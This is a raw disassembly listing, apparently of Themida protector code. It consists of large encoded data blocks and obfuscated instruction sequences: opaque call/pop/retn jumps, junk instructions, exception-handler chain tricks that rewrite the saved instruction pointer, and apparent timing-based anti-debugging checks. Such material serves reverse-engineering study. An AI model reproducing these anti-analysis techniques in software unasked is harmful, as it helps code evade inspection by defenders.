dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 0C9B52948h, 89061412h, 1422118Dh, 85095806h, 6140FA5h
dd 8978708Bh, 142EAD95h, 1CC68306h, 6A96F5h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0D15AFAC3h
dd 8B3CBFDh, 81F58D80h, 24247Ch, 0F100000h, 0F087h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 9800E8Dh, 1403298Dh, 52509006h, 4EBE6660h, 310F61EFh
dd 7E9h, 0DF8ED400h, 8815C9Ah, 6050585Ah, 8B665250h, 50310FF7h
dd 5A310F52h, 57585A58h, 7E8h, 27789D00h, 8D7B58BDh, 90615959h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 5AC35545h
dd 0C33E53B4h, 9DB58917h, 8B06140Fh, 31282444h, 141C7195h
dd 830F9006h, 9, 0BA616060h, 70DF0404h, 66605061h, 0E8B1DCB9h
dd 0Eh, 61F503CAh, 123514B2h, 9097385Eh, 6160D458h, 6A906158h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 1A13C355h, 71046CF9h, 8DFC0689h, 1752AB85h
dd 8B666006h, 0D0FF61D1h, 3F596F5h, 6A242474h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
dd 59CBC355h, 0F186BD9Dh, 16C59D89h, 0BD8D0614h, 61418F1h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 33C35646h
dd 188F0Fh, 13E90000h, 9B000000h, 91FF1754h, 2A928047h
dd 0A672B00Ch, 3EE6A774h, 6AAD4E78h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 7F2DC350h
dd 3A087D06h, 81756AF4h, 24247Ch, 0F100000h, 0D287h, 6D8D8900h
dd 9006141Ah, 12BB6660h, 0F506168h, 1A86h, 11E96000h, 0CD000000h
dd 679BDFD5h, 86D45A8Fh, 0A2CE597Ah, 1535A932h, 9061FB8Bh
dd 9099D31h, 448B0614h, 6A2824h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1C0424h, 50400000h, 2C6EF4C3h, 0E891062Bh
dd 860F0254h, 6, 20FD9509h, 0E9900614h, 0Eh, 65F96500h
dd 0E8EB1968h, 915C0A3Eh, 0F500266h, 0E8Dh, 50525000h
dd 5A310F52h, 60310F58h, 90585A61h, 30F98531h, 858D0614h
dd 61752ABh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 17h, 4AC35545h, 0FCC61C7h, 687h, 39958900h, 0FF06140Eh
dd 118589D0h, 3061417h, 6A242444h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 911C353h
dd 141A5DB5h, 95950906h, 0F06140Bh, 1984h, 0BB666000h
dd 0EE9074Dh, 3000000h, 0AC0A2EB2h, 953D8496h, 967AD5A6h
dd 0E9AB616Ah, 0Ch, 0E7604EB4h, 75612EEBh, 9A5281C6h, 0FA81h
dd 820F0001h, 764h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ah, 0F3C35747h, 0F11854CEh, 8B606C27h, 140F71BDh
dd 0D9958B06h, 6106140Eh, 9D9BD8Dh, 6A0614h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 8DDFF7C3h
dd 5BE270ADh, 6AADFCh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1A0424h, 53430000h, 0BCB760C3h, 6B4BC4ABh, 247C81F8h
dd 24h, 0C6870F10h, 0E9000000h, 9, 0FE7CE4EAh, 43BA0BFCh
dd 50609042h, 0D08B6652h, 0EE9310Fh, 0C3000000h, 54AC3008h
dd 6DFC88B6h, 0F81CDB0h, 66585A27h, 613D25BBh, 0A870F50h
dd 0E9000000h, 5, 0DC86DEDAh, 6A90FFh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 8CD0C3h, 49E0A71Eh
dd 448BE34Eh, 50F92824h, 6E860h, 0A0650000h, 2D71E0FFh
dd 50585E56h, 830F52h, 0F000000h, 0C38B6631h, 8961585Ah
dd 870F2404h, 1, 0AB858DFCh, 6A061752h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 892DC356h
dd 14253185h, 89D0FF06h, 142E2195h, 24440306h, 0F90F524h
dd 128Fh, 0F525000h, 8Eh, 50310F00h, 5A310F52h, 50585A58h
dd 3920B960h, 90614DB5h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 14h, 0EBC35242h, 0A99501ABh, 0F906141Ch, 381BD8Dh
dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
dd 52420000h, 1CAEBFC3h, 615B5360h, 9E9ADh, 0C00000h, 8FFA97C2h
dd 8191D5B7h, 28247Ch, 0F100000h, 0DB87h, 8E900h, 974A0000h
dd 3704BAB2h, 0F506BE3h, 1286h, 0F525000h, 86h, 0F310F00h
dd 86h, 89585A00h, 89602404h, 141C618Dh, 0F9BE6606h, 448B61BCh
dd 9D892C24h, 6140F05h, 19958B60h, 0F06142Ch, 681h, 8D0F00h
dd 61000000h, 8F0F6090h, 2, 0C68B6160h, 0AE95061h, 0B2000000h
dd 0AB8A7EC0h, 493D509Ah, 666090C1h, 8166CA8Bh, 619F38DAh
dd 52AB858Dh, 6A0617h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1B0424h, 56460000h, 1FB685C3h, 838CA18Ch, 6860FC4h
dd 9000000h, 1426619Dh, 6AD0FF06h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0C59FC351h
dd 5E9F893h, 0CB000000h, 4FE862B4h, 28244403h, 1CDB589h
dd 0BD310614h, 61421B1h, 0BE9ABh, 21F60000h, 46834684h
dd 3E21F040h, 8890F01h, 0F000000h, 288h, 5E616000h, 80C88DFFh
dd 0BD830617h, 61780C8h, 330A7500h, 11B58DC0h, 0FF061790h
dd 81AD56E6h, 28247Ch, 77100000h, 448B500Eh, 8D502C24h
dd 1752AB85h
dd 3D0FF06h, 97282444h, 858ADF8Bh, 61780C4h, 474C084h
dd 4C75073Ah, 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h
dd 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h
dd 660973D8h, 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h
dd 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh
dd 4C6835Eh, 2F585FFh, 5DE90614h, 5EFFFFFFh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 68C35545h, 9BF8AF61h
dd 0F4402ABEh, 658D3178h, 6A061415h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 84B2C356h
dd 16DC8F19h, 0FBA950A6h, 10E9h, 0BDC5200h, 0DB9D57DAh
dd 94751F35h, 343E0AB0h, 0F5858B84h, 0E9061402h, 14h, 8C8EC367h
dd 41E4C5E6h, 0A992995Fh, 9C5013D5h, 644A4E7Eh, 6AE0D1h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 6660D6C3h, 2D2D781h, 1AADB58Bh, 60610614h, 0BFC3B70Fh
dd 5C07781Eh, 81850361h, 0F061403h, 18Fh, 0F62BF800h, 1BA98509h
dd 6A960614h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1C042444h, 46000000h, 0C980C356h, 0E25B53FFh, 1883A64h
dd 1429A9B5h, 6AAD6606h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 4B7C351h, 68C0FD2h
dd 1000000h, 1409E19Dh, 7D9D0106h, 0C1061406h, 6A02E0h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 251C06C3h, 8A0F3C74h, 10h, 6E960h, 0C1150000h, 888CD8AFh
dd 61C9DC80h, 8258589h, 0AE90614h, 24000000h, 3BC5B77Fh
dd 598A5450h, 0F18503BEh, 6A061418h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 89B7C356h
dd 141D058Dh, 6A9606h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 140424h, 50400000h, 0FC60A2C3h, 61C8EF80h, 0F6060ADh
dd 8Dh, 5E900h, 4F8B0000h, 6183A299h, 228DB523h, 0F9610614h
dd 24247C81h, 10000000h, 131870Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 170424h, 53430000h, 1CF9EAC3h
dd 0EE986h, 48E60000h, 23118594h, 0F476A196h, 7AD9A86h
dd 6E86050h, 83000000h, 6A9457BBh, 0F525095h, 5A585A31h
dd 8CB35250h, 0F78B310Fh, 8961585Ah, 85892404h, 614067Dh
dd 24448BF8h, 56006A28h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1D04h, 0C3564600h, 0DA0BDC52h, 35DB9D57h, 850F751Fh
dd 6, 2AA58501h, 8E90614h, 43000000h, 0BBE1DA65h, 50F02C2Dh
dd 0EE95250h, 6E000000h, 520E6FAFh, 25BE1C91h, 7CCBE80Eh
dd 60310F97h, 5A6154B2h, 24048958h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 16h, 89C35343h, 14E9DD67h, 0E8000000h
dd 0DA6D8E72h, 0EBEDEE59h, 638B77Ch, 2D7BB8D0h, 0F95AAECh
dd 683h, 65BD8900h, 0F5061406h, 52AB858Dh, 6A0617h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 0A6531CC3h, 6660D40Bh, 61F9D78Bh, 3F9D0FFh, 0E9242444h
dd 8, 0DC440032h, 0D221BCB5h, 1C244489h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 19h, 0DEC35343h, 7A5DAC87h
dd 0B840F4Eh, 60000000h, 81C2BF0Fh, 0FEB20AE7h, 85C6611Eh
dd 6141A59h, 9F85C700h, 61782h, 0C7000000h, 1780CC85h
dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1504h, 0C3574700h, 0E9F5E8D1h, 9, 0A457CBF1h, 0D50E4830h
dd 0FE96192h, 51000000h, 5A68553h, 0D6691C6Ah, 0FA881487h
dd 8C23CBAh, 0B60F900h, 1417258Dh, 0A5B58B06h, 61061404h
dd 18F1858Bh, 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 0C46E3CC3h, 13B0F3ECh, 68C0F5Dh
dd 89000000h, 142A6195h, 8D29F806h, 61403D1h, 0D26BF84Ah
dd 0C203F504h, 6A96F9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 170424h, 53430000h, 2430F0C3h, 29B529F8h, 0AD061409h
dd 0DE960h, 750E0000h, 561B6EBDh, 1CEF3682h, 66F0DEBCh
dd 993BD681h, 247C8161h, 24h, 0CB870F10h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 0FCCEC350h, 118A0F50h, 0E9000000h, 0Ch, 0B25E8C46h
dd 7D447F7Bh, 0B4887ECEh, 89240489h, 1405F98Dh, 24448B06h
dd 4D858928h, 0F06141Ch, 68Fh, 0E9B58900h, 50061421h, 13810Fh
dd 0EE90000h, 8E000000h, 1E7A8D5Ah, 0E14228F9h, 4705D553h
dd 24048974h, 1800Fh, 8DFC0000h, 1752AB85h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 779422F9h, 0F3CD558h, 18Dh, 0D0FFF900h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 8FC35141h, 92EAF28Fh
dd 0E8E9209Ch, 6AFFFFFDh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1C042444h, 43000000h, 0CB94C353h, 4F9C4F68h
dd 0E971B9A0h, 6, 353DE431h
db 41h, 3Eh
; ---------------------------------------------------------------------------
loc_581E26: ; CODE XREF: Themida_:loc_580CAFj
lea eax, [ebp+6179623h]
push 0
push eax
call sub_581E37
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_581E37 proc near ; CODE XREF: Themida_:00581E2Fp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_581E37 endp
; ---------------------------------------------------------------------------
stc
xchg eax, edx
leave
jz loc_581E6D
pusha
jo $+6
jmp loc_581E6C
; ---------------------------------------------------------------------------
dd 28807D4Eh, 3A52E133h, 0D7DE8DF6h, 3D6B4A8Fh
; ---------------------------------------------------------------------------
loc_581E6C: ; CODE XREF: Themida_:00581E57j
popa
loc_581E6D: ; CODE XREF: Themida_:00581E4Aj
push eax
jno loc_581E87
pusha
jmp loc_581E81
; ---------------------------------------------------------------------------
dec edx
add [ebp+ebx*8-75h], ch
push 62h
loc_581E81: ; CODE XREF: Themida_:00581E75j
mov ecx, 7287CBA2h
popa
loc_581E87: ; CODE XREF: Themida_:00581E6Ej
mov [esp], eax
jl loc_581E96
mov [ebp+6141A75h], ebx
loc_581E96: ; CODE XREF: Themida_:00581E8Aj
push large dword ptr fs:0
push 0
push esi
call sub_581EA8
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_581EA8 proc near ; CODE XREF: Themida_:00581EA0p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_581EA8 endp
; ---------------------------------------------------------------------------
scasb
test eax, 775F8B9h
lahf
and al, 89h
cld
mov eax, [esp]
push 0
push ebx
call sub_581ED0
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_581ED0 proc near ; CODE XREF: Themida_:00581EC8p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_581ED0 endp
; ---------------------------------------------------------------------------
and [ebp+1CB18589h], cl
adc al, 6
push 0
push ebp
call sub_581EF3
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_581EF3 proc near ; CODE XREF: Themida_:00581EEBp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_581EF3 endp
; ---------------------------------------------------------------------------
db 0D8h
; ---------------------------------------------------------------------------
pop esp
jno loc_581F0C
cmc
loc_581F0C: ; CODE XREF: Themida_:00581F05j
mov large fs:0, esp
push 0
push eax
call sub_581F1E
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_581F1E proc near ; CODE XREF: Themida_:00581F16p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_581F1E endp
; ---------------------------------------------------------------------------
dw 0AC38h
dd 8A0F0B1Ch, 0Ah, 5E9h, 0F4C6EE00h, 8DFC64D6h, 1793AF85h
dd 0B5296006h, 6142089h, 608961F9h, 0F8D0F01h, 0E9000000h
dd 0Ah, 7A30867Ah, 0F12FA7A3h, 0C0E9210Ch, 60000002h, 89F78B66h
dd 1421BDBDh, 85896106h, 6140F19h, 0E8DB8Bh, 5D000000h
dd 93A8ED81h, 9CBC0617h, 830012FFh, 1403D9BDh, 18740006h
dd 2D01858Bh, 0C60614h, 0F1858B00h, 0C6061434h, 95FF0000h
dd 6142EF9h, 0D0B5FF60h, 8D06177Ch, 177CD485h, 858D5006h
dd 6177ECCh, 995FF50h, 83061415h, 0E9610CC4h, 0Fh, 7F1C609Dh
dd 0C9F0B87Fh, 0BF15DF0Fh, 29C28017h, 140D2D85h, 8800F06h
dd 60000000h, 24259D89h, 8D610614h, 177ECCB5h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 0E9A37859h, 12h, 5DBC7121h, 3ABBC88Ah, 0F6BC74A5h, 10CCC7AFh
dd 0BD8DF974h, 6141DB5h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 0F6C35646h, 77442952h, 56BCD408h, 9E9ADh
dd 342E0000h, 0BCD0CA34h, 80733332h, 840F003Eh, 23h, 6850Fh
dd 95890000h, 61400E5h, 0DBD31A4h, 0E906142Eh, 0FFFFFFDFh
dd 1D852B60h, 66061420h, 0B861C68Bh, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5820AB
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5820AB proc near ; CODE XREF: Themida_:005820A3p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_5820AB endp
; ---------------------------------------------------------------------------
db 3Eh
; ---------------------------------------------------------------------------
push ebp
mov cl, 11h
mov bh, 37h
mov esp, 9E6362Bh
lea ecx, [ecx-55F9EBF4h]
push 0
push ebx
call sub_5820D7
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5820D7 proc near ; CODE XREF: Themida_:005820CFp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_5820D7 endp
; ---------------------------------------------------------------------------
db 66h
dd 0F9955E39h, 827BB7B5h, 0C8D0Fh, 800F0000h, 6, 309DBD89h
dd 7B80614h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1D042444h, 47000000h, 1632C357h, 9B5602ACh
dd 2313AE6Ch, 0FE9h, 16970E00h, 7481103Fh, 8FB9E6F8h, 0A387FB7Ch
dd 14E9h, 0A24D1A00h, 685F3AFh, 0FFBC4DBh, 0A11C2271h
dd 9818057Ch, 8185C767h, 1061431h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
dd 45B6C357h, 0B529EAC2h, 6140569h, 4D798D8Dh, 6A0614h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 60EEE6C3h, 820Fh, 0FF610000h, 52006AE1h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0AD6E2CDh
dd 11E9h, 0CF3EA700h, 0E8C2E340h, 19EFF9AFh, 5F2C6250h
dd 13E973DAh, 55000000h, 0E0B65CE1h, 27E4738Eh, 7B549E9h
dd 782D4F5Fh
; ---------------------------------------------------------------------------
xlat
stc
loc_582202: ; DATA XREF: Themida_:00549104o
; Themida_:00549580o ...
mov ebx, [esp+0Ch]
push ebp
call $+5
pop ebp
sub ebp, 617962Dh
mov eax, [ebx+0B8h]
mov [ebp+6177CD0h], eax
lea eax, [ebp+61793A1h]
mov [ebx+0B8h], eax
pop ebp
xor eax, eax
retn
; ---------------------------------------------------------------------------
add [ebp+6142B91h], edi
mov [ebp+614141Dh], edi
jmp loc_582250
; ---------------------------------------------------------------------------
movsb
les esi, [edx+6B91DB79h]
xchg eax, edx
push ebx
pop esp
or [ebx+24D08260h], al
loc_582250: ; CODE XREF: Themida_:0058223Bj
add [ebp+6140935h], ecx
pusha
jg loc_582263
or [ebp+614210Dh], edx
loc_582263: ; CODE XREF: Themida_:00582257j
lea eax, [ebp+61797F6h]
xor [ebp+61416EDh], ecx
push eax
ja loc_582289
jmp loc_582289
; ---------------------------------------------------------------------------
db 14h
dd 347A839Ah, 58804D60h, 2D76F864h
db 0B9h
; ---------------------------------------------------------------------------
loc_582289: ; CODE XREF: Themida_:00582270j
; Themida_:00582276j
mov [esp], eax
jg loc_582298
or [ebp+61418CDh], eax
loc_582298: ; CODE XREF: Themida_:0058228Cj
push large dword ptr fs:0
push 0
push edi
call sub_5822AA
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5822AA proc near ; CODE XREF: Themida_:005822A2p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_5822AA endp
; ---------------------------------------------------------------------------
dw 0B44Ch
; ---------------------------------------------------------------------------
std
xor [ebx-62760A41h], cl
adc eax, 64061421h
mov large ds:0, esp
mov [ebp+6140B69h], edi
lea eax, [ebp+61798AFh]
mov [ebp+6141D15h], ecx
mov [eax+1], esp
push 0
push ebx
call sub_5822EE
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5822EE proc near ; CODE XREF: Themida_:005822E6p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_5822EE endp
; ---------------------------------------------------------------------------
adc [ebp-0Ah], bl
dec esi
mov [ebp+6140985h], edi
jmp loc_58231B
; ---------------------------------------------------------------------------
db 2Fh, 53h, 4Bh
dd 112D9EE8h, 3F0A331Bh
db 64h, 81h, 40h
; ---------------------------------------------------------------------------
loc_58231B: ; CODE XREF: Themida_:00582308j
mov byte ptr [ebp+6141A59h], 4Fh
mov [ebp+61421BDh], eax
jp loc_58233C
pusha
mov eax, [ebp+61418ADh]
mov [ebp+61420CDh], eax
popa
loc_58233C: ; CODE XREF: Themida_:00582328j
push 0AE7B2BA1h
jle loc_58234E
pusha
pusha
popa
mov ax, di
popa
loc_58234E: ; CODE XREF: Themida_:00582341j
add dword ptr [esp], 504D4889h
push 0
push ebp
call sub_582360
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_582360 proc near ; CODE XREF: Themida_:00582358p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_582360 endp
; ---------------------------------------------------------------------------
shl dword ptr [edx-5Dh], 1
pop esi
pop ebx
xlat
inc edx
xchg cl, [eax+60h]
adc bl, 1Ah
sub dx, 6259h
popa
push dword ptr [ebp+6141AD1h]
push 0
push edi
call sub_582395
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_582395 proc near ; CODE XREF: Themida_:0058238Dp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_582395 endp
; ---------------------------------------------------------------------------
rcr eax, cl
mov [ebp+61423D9h], eax
lea eax, [ebp+61780DBh]
pusha
mov esi, [ebp+6140D01h]
mov edx, [ebp+6140249h]
popa
call eax
mov [ebp+6140D0Dh], eax
jmp loc_58248E
; ---------------------------------------------------------------------------
stc
mov [ebp+6141105h], ecx
mov ebx, [esp+0Ch]
push ebp
call $+5
pop ebp
sub ebp, 6179800h
mov eax, [ebp+6141145h]
mov [ebp+6141AD1h], eax
mov eax, [ebp+6140931h]
mov [ebp+6142255h], eax
mov eax, [ebp+6143481h]
mov [ebp+6140785h], eax
mov byte ptr [ebp+6141A59h], 0
mov dword ptr [ebp+617829Fh], 0
lea eax, [ebp+61798AFh]
mov [ebx+0B8h], eax
pop ebp
xor eax, eax
retn
; ---------------------------------------------------------------------------
push 0
push esi
call sub_582436
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_582436 proc near ; CODE XREF: Themida_:0058242Ep
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_582436 endp
; ---------------------------------------------------------------------------
dw 0F01h
dd 18Ch, 6AF900h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 608BF5C3h, 198E0Fh, 13E80000h, 2B000000h
dd 43015B88h, 0E0DE2CD3h, 0E388E366h, 2CAE4F0Ah, 8A59AF6Bh
; ---------------------------------------------------------------------------
cli
popa
loc_58248E: ; CODE XREF: Themida_:005823C9j
mov esp, 12FF74h
mov [ebp+6141585h], edi
pop large dword ptr fs:0
push 0
push eax
call sub_5824AB
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5824AB proc near ; CODE XREF: Themida_:005824A3p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5824AB endp
; ---------------------------------------------------------------------------
db 30h
dd 6D24036Bh, 0FB58A08h, 880h, 2890F00h, 60000000h, 8D8B6061h
dd 61413E9h, 4C48361h, 0FE9h, 0D1349100h, 81E7A637h, 7BAD8661h
dd 0DB78A1C0h, 0EEE961h, 8BFB0000h, 5C9736E1h, 88838A05h
dd 0A1D76A1h, 8FDD7A0Eh, 6D373353h, 3D557D2Fh, 0D57F2D77h
dd 577DD77Dh, 0DF6DF73Dh, 0D773D575h, 0F73D577Dh, 75D55FEDh
dd 6D373353h, 3D557D2Fh, 0D57F2D77h, 577DD77Dh, 0DF6D171Eh
dd 20602075h, 0E0202060h, 0AC2060E0h, 0A9F77B68h, 0D020A1E4h
dd 0EDA693B2h, 91B99DB7h, 20ACA3F2h, 20602060h, 0E0202060h
dd 752060E0h, 0D0A3353h, 20557D2Fh, 20602060h, 2BA72860h
dd 0C950F036h, 0EFB6F360h, 0E0F796A1h, 0B8E3A7B4h, 0B3F47192h
dd 0F76DB9E9h, 2 dup(20602060h), 0DF6DF720h, 0D773351Ah
dd 0F73D577Dh, 75D55FEDh, 6D373353h, 3D557D2Fh, 0D57F2D77h
dd 577DD77Dh, 0DF6DF73Dh, 0D773D575h, 0F73D577Dh, 75D55FEDh
dd 6D373353h, 1E357D2Fh, 7000E0Ah, 0A3D25D34h, 1E59A0h
dd 2 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5832E6
; ---------------------------------------------------------------------------
push 6179C8Ch
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6179D92h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6179E52h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6179F1Bh
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6179FDDh
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 617A08Eh
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 617A1ECh
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 617A2E9h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 617A3D4h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 617A4A4h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 617A565h
jmp loc_5509FF
; ---------------------------------------------------------------------------
db 8Ah
dd 3E1B6D52h, 0F9D62895h, 0B390E2D9h, 68459722h, 0C3FC4E6Fh
dd 0A11CBBF5h, 5A5F724Fh, 12AD2B08h, 0C8F3E3C0h, 0DCE26A76h
dd 580981F6h, 12A80F0Ah, 3E4BF7C4h, 47A2693h, 8C4AE2A0h
dd 9301DD2Fh, 0BA9DA3EBh, 0C857E500h, 1FECF4A0h, 0B8945B7h
dd 2AB38A68h, 5F8EE692h, 0E7398254h, 2693420Fh, 0E8F3227Ah
dd 31171DEEh, 45580658h, 0A5516A68h, 711DB54Dh, 658482Bh
dd 44066A58h, 0CCEDE8B5h, 0C244929Dh, 0A2FAA613h, 13E0B80Ah
dd 299642C2h, 7F576291h, 5383903Ch, 0EF9B1EB3h, 0E153FF97h
dd 0AF27DD7Dh, 0E97CBA0Ch, 15F8D981h, 595h, 8B4A172Ch
dd 0FB2A822Eh, 2916E6F0h, 0EE1F0AD1h, 6A7723BBh, 3A074F6Ch
dd 1E762297h, 9503DFEFh, 89BA1E9h, 7657E546h, 9E2F064Eh
dd 0B9784759h, 0F93FA9D8h, 58067F17h, 597F4C22h, 0A5E53766h
dd 0D957372Eh, 42C7F8h, 13DE0000h, 0E9B1F9A5h, 854CBA1Ch
dd 296D9C34h, 57E50366h, 0CFEEE5B2h, 963F1CA0h, 0EFD5DB23h
dd 3580602h, 519743DBh, 5806036Fh, 0A13A587Ah, 0F8D9D6C4h
dd 0E6CCD29Ah, 0FA58060Eh, 213DA3D2h, 54000001h, 63494F17h
dd 0E651F1E8h, 8B17183Ah, 3B6329FDh, 0E6D5010Ch, 13AA2D3Ah
dd 2DD7FECBh, 0D27E16A5h, 0D4E14B7Ah, 0A971B902h, 0F259BDA3h
dd 7AA9D151h, 38D30310h, 0F25A4C32h, 0EB386051h, 0D028D4E7h
dd 0A819F038h, 0E78C89B3h, 0F8DEE42Ch, 0C51F2E0h, 8FA5B5E4h
dd 51F2E4BCh, 0C008B323h, 2BD7E2F3h, 0B794A4D3h, 0E4F09C1Fh
dd 21890B76h, 0EAA64A68h, 9B330A52h, 0C9D44ABBh, 393F4574h
dd 57E527FEh, 563284ACh, 6979E8h, 0AE601688h, 9CC8CE16h
dd 0AA5DFBBDh, 17C3FADDh, 596672BFh, 0CC9A62Ah, 9E11F7FDh
dd 0FD255E1Dh, 0B885CD65h, 8E569E1Fh, 1D9DA288h, 482E345Eh
dd 5C5E1D9Eh, 17466E34h, 51AD2A07h, 0E9631486h, 1DF7720h
dd 38908E19h, 0CF182610h, 9E000009h, 522F813Eh, 0DEA3C81h
dd 0C7A4F6C5h, 7C59AB0Eh, 0D710625Bh, 0B508CFE1h, 6E4B8663h
dd 26993F1Ch, 0DCDFF7D4h, 0F0F67E8Ah, 5809840Ah, 12BC231Eh
dd 0CEA6F8C5h, 3FEBD201h, 29ADB8E7h, 91684092h, 9E82E4A7h
dd 14FB2AB5h, 63494F17h, 7751F1E8h, 0A816204Fh, 1BE8B0F8h
dd 0FB53FFBAh, 2C588CCh, 6B9357E5h, 19779BFh, 0BC1C5806h
